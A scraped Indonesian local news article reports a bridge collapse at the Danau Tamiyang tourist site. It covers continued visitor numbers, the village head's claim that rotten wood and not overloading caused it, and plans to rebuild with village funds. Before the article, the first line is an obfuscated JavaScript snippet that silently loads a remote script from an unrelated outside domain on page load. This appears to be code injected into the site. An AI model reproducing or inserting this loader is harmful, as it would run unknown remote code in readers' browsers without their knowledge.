(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Pasca runtuh fasilitas jembatan destinasi wisata air di Danau Tamiyang Desa Mandikapau Barat, Kecamatan Karang Intan, Minggu (17/6), ternyata tidak mempengaruhi antusias warga yang berkunjung ke tempat tersebut.
Senin (18/6), Kanal Kalimantan yang berada hingga pukul 11.30 Wita, tercatata ada 250 tiket masuk dan terlihat puluhan orang yang berdatangan di kawasan ini. Nampak, mereka yang penasaran dengan putusnya jembatan panjang tersebut berusaha mengabadikan lewat smartphone masing-masing dengan menggunakan wahana kapal kelotok yang sudah di sediakan pihak desa sebagai pengelola.
Menurut Pambakal Mandikapau Barat Abdul Basit, walaupun ada insiden runtuhnya jembatan di Danau Tamiyang, pengelola dari pihak desa tetap membuka kawasan wisata ini. Sedangkan untuk jembatan panjang akan segera diperbaiki dengan menggunakan dana desa.
Karena jembatan yang juga digunakan sebagai penghubung desa Mandikapau Barat RT 4 dengan jumlah penduduk sebanyak 600 orang dengan 172 kepala keluarga tersebut juga digunakan sebagai penyangga perekonomi pertanian bagi desa.
“Walau demikinan untuk warga RT 4 yang mau menyeberang masih bisa menggunakan jalan alternatif di jembatan yang tidak jauh dari sini,†ungkapnya.
Jembatan panjang yang diberi warna-warni tersebut, sebenarnya sudah didirikan semenjak 10 tahun yang lalu, sepat direhab pada tahun 2014 dengan menggunakan dana desa.
“Jembatan ini dulu panjangnya 300 meter, kemudian tahun 2014 kita rehab, sebagai diurug dari sumber desa, hingga sekarang panjangnya menjadi 100 meter,†jelasnya.
Untuk kejadian runtuhnya jembatan pelangi itu, Abdul Basit menyebut, pada hari itu pengunjung yang datang sekitar 2 000 pengunjung terhitung sampai pukul 16.00 Wita, sedangkan runtuhnya jembatan tersebut terjadi sekitar pukul 15.00 Wita.
Waktu itu ada yang mengatakan, jembatan runtuh karena kapasitas melebihi beban, namun ketika di-cek tidak begitu adanya, di atas jembatan tersebut hanya terdapat 20 orang saja.
“Saya tegaskan bahwa jembatan ini putus bukan karena kelebihan beban pengunjung yang datang, dugaan sementara karena usia jembatan yang lama, sehingga kayunya sudah keropos,†jelasnya.
Jembatan dengan lebar satu seperempat meter ini, sebelumnya tidak ada tanda-tanda akan putus. Bahkan waktu Paman Birin dan Bupati Banjar yang datang meresmikan tempat ini beberapa waktu dilewati banyak orang, dan tidak ada gejala akan runtuh jembatan tersebut.
Hingga runtuhnya jembatan, pihak desa langsung segera memperbaiki jembatan dan akan mendatangkan bahan-bahan dan tukang untuk melakukan perbaikan secara gotong royong. Sebenarnya sudah dianggarkan untuk rehab gedung olahraga dengan anggaran Rp 150 juta, namun hal itu terpaksa ditunda dulu untuk perbaikan jembatan ini secara total.
“Dengan menggunakan dana sebanyak Rp 150 juta tersebut, jembatan ini tidak hanya yang robohnya saja yang kita perbaiki, untuk keamanan wisata bagi pengunjung itu yang utama maka akan kita rehap secara total,†ungkapnya. (rendy)
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
This website uses cookies.